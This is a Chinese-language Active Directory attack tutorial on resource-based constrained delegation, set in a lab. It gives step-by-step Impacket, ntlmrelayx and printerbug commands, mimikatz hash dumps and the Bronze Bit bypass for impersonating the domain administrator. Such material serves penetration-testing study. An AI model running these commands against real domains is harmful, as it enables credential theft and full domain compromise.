文章目录
-
-
-
- 序言
- 基于资源约束委派简介(RBCD)
- 基于资源约束委派的利用条件
- 环境介绍
- 使用Adfind侦查
- bloodhound查看
- 利用方式1(拿下目标机器入域的域账号Impacket利用)
- CVE-2020-17049 Kerberos Bronze Bit+基于资源的约束委派绕过敏感账号限制
- 利用方式2(Acount Operators组权限滥用进行基于资源约束委派获取目标权限)
- 利用方式3(Ntlm Relay+打印机bug+基于资源的约束委派拿下目标控制权)
- 总结
序言
笔者已经写过了非约束委派和约束委派的利用,这篇文章主要是讲解,
基于资源的约束委派利用,对非约束委派和约束委派利用感兴趣的小伙伴,
可以看看我之前写过的文章。
基于资源约束委派简介(RBCD)
基于资源的约束委派是在微软在Windows Server 2012 中加入的,
相较于非约束为委派和约束委派不需要通过具备SeEnableDelegationPrivilege
权限的域管理员进行修改,而是进行了反转了将设置属性的权限给了服务资源本身。
配置了基于资源的约束委派的账户属性有如下变化:
msDS-AllowedToActOnBehalfOfOtherIdentity属性指向委派账户
传统委派与基于资源的约束委派区别如下:
假设有服务1和服务2,服务1委派到服务2
1.msDS-AllowedToDelegateTo 属性与
msDS-AllowedToActOnBehalfOfOtherIdentity 属性的区别:
传统委派:
服务1上设置 msDS-AllowedToDelegateTo 属性,
以指定对服务2上的哪一个服务进行委派。
基于资源的约束委派:
服务2上将 msDS-AllowedToActOnBehalfOfOtherIdentity 属性值设为
服务1的 SID,以允许服务1对服务2上的服务进行委派。
2.传统委派的ST可以进行转发基于资源的约束委派的ST不可转发:
传统委派:
S4u2self 申请到的 ST 票据是可转发的,如果不可转发,
则后续的 S4U2Proxy 阶段将失败。
基于资源的约束委派:
不可转发的 ST 票据仍然可以通过 S4U2Proxy 阶段对其他服务进行委派认证。
基于资源约束委派的利用条件
1.具有对主机修改msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限
2.可以创建机器账户或已知机器账户
从上述的利用条件可以看到需要有两个条件下面将进行分别讲解。
msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限:
(1)Account Operator组成员。
(2)将该主机加入域的用户账户拥有该权限,用户账户中有叫mSDS-CreatorSID属性,
用于标记加入域时使用的用户账户SID值,可以知道那些用户账户了有具有加入域权限。
(3)该主机的机器账户。
环境介绍
192.168.126.10 普通域内机器(攻击机DESKTOP-IOFJA89$)
192.168.126.66 域控机器(WIN-CRJVMOIER7V$)
192.168.126.22 基于资源约束委派的测试机(WIN10ZYYSWP$,入域账号test\ziyuan)
使用Adfind侦查
如果不在域的话需要指定 -h X.X.X.X -u user123 -up password123 -b "DC=test,DC=com"
例子:AdFind.exe -h X.X.X.X -u user123 -up password123 -b "DC=test,DC=com" -f "objectClass=computer" mS-DS-CreatorSID
查询方式1:由机器查询入域的账号
查找机器账户的mS-DS-CreatorSID属性(入域账号的SID)
命令:AdFind.exe -f "objectClass=computer" mS-DS-CreatorSID
根据域账号SID查询域账号信息:
命令:Adfind.exe -sc adsid:S-1-5-21-380788182-2473631355-2237387945-1114
查询方式2:由域账号SID查询入域的机器:
查询的SID:S-1-5-21-380788182-2473631355-2237387945-1114
命令:
AdFind.exe -f "(&(objectClass=computer)(mS-DS-CreatorSID=S-1-5-21-380788182-2473631355-2237387945-1114))" dn
查询方式3:由域账号名称查询入域的机器:
步骤1查询的域账号:ziyuan
命令:
Adfind.exe -b DC=test,DC=com -f "(&(objectCategory=person)(objectClass=user)(sAMAccountName=ziyuan))"
步骤2根据查找到的objectSid属性来查询入域的机器:
objectSid: S-1-5-21-380788182-2473631355-2237387945-1114
AdFind.exe -f "(&(objectClass=computer)(mS-DS-CreatorSID=S-1-5-21-380788182-2473631355-2237387945-1114))" dn
根据域账号ziyuan查询到入域机器WIN10ZYYSWP。
bloodhound查看
利用方式1(拿下目标机器入域的域账号Impacket利用)
假设在某机器上拿到了ziyuan的域用户NTLM Hash。
Authentication Id : 0 ; 293611 (00000000:00047aeb)
Session : Interactive from 1
User Name : ziyuan
Domain : TEST
Logon Server : WIN-CRJVMOIER7V
Logon Time : 2023/2/24 16:17:52
SID : S-1-5-21-380788182-2473631355-2237387945-1114
msv :
[00000003] Primary
* Username : ziyuan
* Domain : TEST
* NTLM : 3d9a47d42cb82e0b7cbbaf2b20454e3a
* SHA1 : c7fd5677da2c87685cb449b90df9618441c81af9
* DPAPI : a1b8917763b2f283dbf6f94d1a53a457
tspkg :
wdigest :
* Username : ziyuan
* Domain : TEST
* Password : (null)
kerberos :
* Username : ziyuan
* Domain : TEST.COM
* Password : (null)
ssp :
credman :
支持两种方式创建一种是SAMR协议,另一种是LDAPS协议
利用步骤1 创建机器账号
创建机器账号mmm123密码password123
SAMR协议创建机器账号 NTLM Hash:
python3 addcomputer.py -computer-name 'mmm123' -computer-pass 'password123' -dc-ip 192.168.126.66 'test.com/ziyuan' -hashes 0:3d9a47d42cb82e0b7cbbaf2b20454e3a -method SAMR -debug
SAMR协议创建机器账号使用明文密码:
python3 addcomputer.py -computer-name 'mmm123' -computer-pass 'password123' -dc-ip 192.168.126.66 'test.com/hack:Password1234' -method SAMR -debug
LDAPS协议创建机器账号 NTLM Hash:
python3 addcomputer.py -computer-name 'mmm123' -computer-pass 'password123' -dc-ip 192.168.126.66 'test.com/ziyuan' -hashes 0:3d9a47d42cb82e0b7cbbaf2b20454e3a -method LDAPS -debug
LDAPS协议创建机器账号使用明文密码:
python3 addcomputer.py -computer-name 'mmm123' -computer-pass 'password123' -dc-ip 192.168.126.66 'test.com/hack:Password1234' -method LDAPS -debug
利用步骤2 Adfnd查询找到新增机器SID
使用Adfind查询新增机器账号mmm123$的sid
命令:AdFind.exe -f "(&(objectClass=computer)(sAMAccountName=mmm123$))" objectSid
S-1-5-21-380788182-2473631355-2237387945-1116
利用步骤3 使用rbcd.py脚本修改WIN10ZYYSWP机器账号属性
使用rbcd.py脚本修改WIN10ZYYSWP$的msDS-AllowedToActOnBehalfOfOtherIdentity属性写入mmm123$
使用明文密码:
python3 rbcd.py -delegate-to WIN10ZYYSWP$ -delegate-from mmm123$ -dc-ip 192.168.126.66 test/ziyuan:password123 -action write
使用NTLM hash:
需要注意LM Hash为空或者被禁用填写为aad3b435b51404eeaad3b435b51404ee:NTLM Hash或者空格:HTLM Hash
0:NTLM Hash这种格式会失败。
python3 rbcd.py -delegate-to WIN10ZYYSWP$ -delegate-from hack1$ -dc-ip 192.168.126.66 'test/ziyuan' -hashes aad3b435b51404eeaad3b435b51404ee:3d9a47d42cb82e0b7cbbaf2b20454e3a -action write
利用步骤4 使用新增机器账号利用getST.py请求目标机器cifs服务的TGS票据
注意:如果administrator域管账号配置了敏感账号不能被委派不会拿到TGS票据可以利用
CVE-2020-17049 Kerberos Bronze Bit绕过下面会讲解。
命令: python3 /home/kali/Desktop/AD/impacket-0.10.0/examples/getST.py -dc-ip 192.168.126.66 -spn cifs/WIN10ZYYSWP.test.com -impersonate administrator 'test.com/mmm123$:password123'
利用步骤5 导入TGS票据使用psexec.py或wmiexec.py登录目标机器
需要注意要使用域内机器的代理才行
export KRB5CCNAME=administrator.ccache 导入administrator票据
proxychains python3 psexec.py -k test.com/[email protected] -no-pass -codec gbk
CVE-2020-17049 Kerberos Bronze Bit+基于资源的约束委派绕过敏感账号限制
请求的域管账号比如administrator如果配置了敏感账号不能被委派是请求cifs服务票据是会失败的。
以Impacker下的getST脚本为例,现在administrator配置了敏感账号如果请求cifs服务票据会出现以下错误。
新版本Impacket的getST脚本可以追加-force-forwardable参数自动利用CVE-2020-17049 Kerberos Bronze Bit
进行绕过,下面是演示实例。
利用方式2(Acount Operators组权限滥用进行基于资源约束委派获取目标权限)
Acount Operators组成员拥有修改域内除域控外任意主机msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限,
在域渗透的时候该组是需要关注的对象之一。
利用条件:
1.可以创建机器账号
2.拥有Acount Operators组成员的用户账号
Adfind侦查:
adfind.exe -s subtree -b CN="Account Operators",CN=Builtin,DC=test,DC=com member
发现hacker域账号隶属于Acount Operators组成员
Acount Operators组配置:
bloodhound侦查:
搜索ACCOUNT OPERATORS组展示组成员。
利用过程说明:
利用过程基本上与利用方式1一样,只不过账号换成了hacker账号。
1.拿到hacker域账号权限
2.创建机器账号
3.配置目标的机器账号msDS-AllowedToActOnBehalfOfOtherIdentity属性
4.登录域控获得全域控制权
利用:
1.在某台机器上抓取到了hacker的NTLM Hash(不是本篇文章重点的内容)
Authentication Id : 0 ; 462840 (00000000:00070ff8)
Session : Interactive from 1
User Name : hacker
Domain : TEST
Logon Server : WIN-CRJVMOIER7V
Logon Time : 2023/2/25 12:50:26
SID : S-1-5-21-380788182-2473631355-2237387945-1118
msv :
[00000003] Primary
* Username : hacker
* Domain : TEST
* NTLM : 3d9a47d42cb82e0b7cbbaf2b20454e3a
* SHA1 : c7fd5677da2c87685cb449b90df9618441c81af9
* DPAPI : 531cf802a7dd2cb9dff8e1d01db36566
tspkg :
wdigest :
* Username : hacker
* Domain : TEST
* Password : (null)
kerberos :
* Username : hacker
* Domain : TEST.COM
* Password : (null)
ssp :
credman :
2.创建机器账号hacker666$
python3 addcomputer.py -computer-name 'hacker666' -computer-pass 'password123' -dc-ip 192.168.126.66 'test.com/hacker' -hashes 0:3d9a47d42cb82e0b7cbbaf2b20454e3a -method SAMR -debug
3.配置目标的机器账号msDS-AllowedToActOnBehalfOfOtherIdentity属性
python3 rbcd.py -delegate-to WIN10ZYYSWP$ -delegate-from hacker666$ -dc-ip 192.168.126.66 'test/hacker' -hashes aad3b435b51404eeaad3b435b51404ee:3d9a47d42cb82e0b7cbbaf2b20454e3a -action write
4.获得目标cifs服务票据
python3 /home/kali/Desktop/AD/impacket-0.10.0/examples/getST.py -dc-ip 192.168.126.66 -spn cifs/WIN10ZYYSWP.test.com -impersonate administrator 'test.com/hacker666$:password123'
5.注入票据并使用psexec或wmiexec登录目标
export KRB5CCNAME=administrator.ccache 导入administrator票据
proxychains python3 psexec.py -k test.com/[email protected] -no-pass -codec gbk
利用方式3(Ntlm Relay+打印机bug+基于资源的约束委派拿下目标控制权)
利用说明:
在用于任何AD账号的情况下,可以触发打印机bug使目标服务器回连到攻击者主机,并使用ntlmrelayx工具
中继到域控的ldap服务配置目标服务器机器账号的msDS-AllowedToActOnBehalfOfOtherIdentity属性,
从而拿到目标控制权。
利用条件:
1.拥有域内账号权限
2.可以创建机器账号
3.目标开启打印机服务
利用过程:
1.拿到一个名叫hacker888的普通域成员的权限
Authentication Id : 0 ; 5664458 (00000000:00566eca)
Session : Interactive from 4
User Name : hacker888
Domain : TEST
Logon Server : WIN-CRJVMOIER7V
Logon Time : 2023/2/25 13:57:24
SID : S-1-5-21-380788182-2473631355-2237387945-1120
msv :
[00000003] Primary
* Username : hacker888
* Domain : TEST
* NTLM : 3d9a47d42cb82e0b7cbbaf2b20454e3a
* SHA1 : c7fd5677da2c87685cb449b90df9618441c81af9
* DPAPI : 6be4e4449d97632f1ed31c4201a051d9
tspkg :
wdigest :
* Username : hacker888
* Domain : TEST
* Password : (null)
kerberos :
* Username : hacker888
* Domain : TEST.COM
* Password : (null)
ssp :
credman :
2.使用hacker888创建caixukun123$机器账号
python3 addcomputer.py -computer-name 'caixukun123' -computer-pass 'password123' -dc-ip 192.168.126.66 'test.com/hacker888' -hashes 0:3d9a47d42cb82e0b7cbbaf2b20454e3a -method SAMR -debug
3.攻击机开启到域控Relay的ldap监听
使用Ntlm Relay工具开启SMB身份验证通过LDAP中继到域控默认情况下,
SMB中的NTLM身份验证:NEGOTIATE_SIGN为set状态会触发LDAP签名,
从而导致Relay攻击失败,因此需要将需要将NEGOTIATE_SIGN设置为Not set,
ntlmrelayx工具可以很方便绕过该MIC校验。
命令:
192.168.126.66 域控
remove-mic 清除MIC标志
--escalate-user用于提升指定用户权限用于自动提升
python3 ntlmrelayx.py -t ldap://192.168.126.66 -smb2support --remove-mic --delegate-access --escalate-user caixukun123\$
4.使用printerbug.py脚本触发打印机强制认证ntlmrelayx脚本完成自动提权
printerbug.py触发强制Windows主机通过MS-RPRN RPC接口向攻击者进行身份验证,
Windows的MS-RPRN协议用于打印客户机和打印服务器之间的通信默认情况下是启用的,
协议定义的RpcRemoteFindFirstPrinterChangeNotificationEx()调用创建一个
远程更改通知对象,该对象监视对打印机对象的更改,并将更改通知发送到打印客户端,
任何经过身份验证的域成员都可以连接到远程服务器的打印服务spoolsv.exe,
并请求对一个新的打印作业进行更新令其将该通知发送给指定目标,之后它会将立即测试该连接,
即向指定目标进行身份验证可以选择通过Kerberos或NTLM进行验证,
另外微软表示这个bug是系统设计特点,无需修复。
192.168.126.22 要获得控制权的目标
192.168.126.137 攻击机
命令:python3 printerbug.py test.com/[email protected] 192.168.126.137 -hashes :3d9a47d42cb82e0b7cbbaf2b20454e3a
ntlmrelayx脚本完成自动提权设置:
5.使用getST.py申请服务票据
命令:
python3 /home/kali/Desktop/AD/impacket-0.10.0/examples/getST.py -dc-ip 192.168.126.66 -spn cifs/WIN10ZYYSWP.test.com -impersonate administrator 'test.com/caixukun123$:password123'
6.导入服务票据使用wmiexec或psexec获取目标控制权
export KRB5CCNAME=administrator.ccache 导入administrator票据
proxychains python3 psexec.py -k test.com/[email protected] -no-pass -codec gbk
总结
关于基于资源的约束委派本文章总共说了常用的三种利用方式:
1.Ntlm Relay+打印机bug+基于资源的约束委派拿下目标控制权
2.Acount Operators组权限滥用进行基于资源约束委派获取目标权限
3.拿下目标机器入域的域账号拿下目标控制权
以及一种绕过方式:
1.CVE-2020-17049 Kerberos Bronze Bit+基于资源的约束委派绕过敏感账号限制。
在实战当中基于资源的约束委派用法比较灵活而且是一种比较常用的攻击手法遇到的利用
相比约束委派要多是比较重要的域内攻击手法之一。